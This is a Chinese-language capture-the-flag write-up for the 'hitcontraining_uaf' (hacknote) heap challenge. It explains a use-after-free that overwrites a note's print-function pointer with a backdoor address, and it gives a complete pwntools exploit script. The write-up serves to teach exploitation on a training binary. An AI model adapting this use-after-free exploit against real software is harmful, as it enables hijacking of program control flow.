buu|hitcontraining_uaf 1
一道典型的菜单类堆题,并有后门
其主函数中add:
这里一次会申请两个堆,其中第一个堆放着print_note_content
前4个字节位是print_note_content函数地址,这个堆块儿存在了notelist中
在执行print_notet时,会调用notelist里存储print_note_content函数地址的堆块儿,及我们只需将notelist里堆块儿存的print_note_content函数地址改成后门函数地址即可
申请两个堆块儿
add('40','aaaa') #chunk0
add('40','aaaa') #chunk1
释放掉
delete('0')
delete('1')
0x10里有两个堆,都是之前存放print_note_content的。
再申请大小为0x8 的堆,0x10里的两个堆就会被申请出来,其中一个我们就可以修改了.
gdb.attach(p)
add('8',p32(backdoor))
exp如下
from pwn import*
#p=remote('node4.buuoj.cn',25381)
p=process('./hacknote')
context(os='linux',log_level='debug',arch='i386')
def add(size,content):
p.sendafter(b'Your choice :','1')
p.sendafter(b'Note size :',size)
p.sendafter(b'Content :',content)
def delete(index):
p.sendafter(b'Your choice :','2')
p.sendafter(b'Index :',index)
def printf(index):
p.sendafter(b'Your choice :','3')
p.sendafter(b'Index :',index)
backdoor=0x08048945
add('40','aaaa') #chunk0
#gdb.attach(p)
add('40','aaaa') #chunk1
gdb.attach(p)
delete('0')
delete('1')
gdb.attach(p)
add('8',p32(backdoor)) #chunk2
gdb.attach(p)
printf('0')
p.interactive()
flag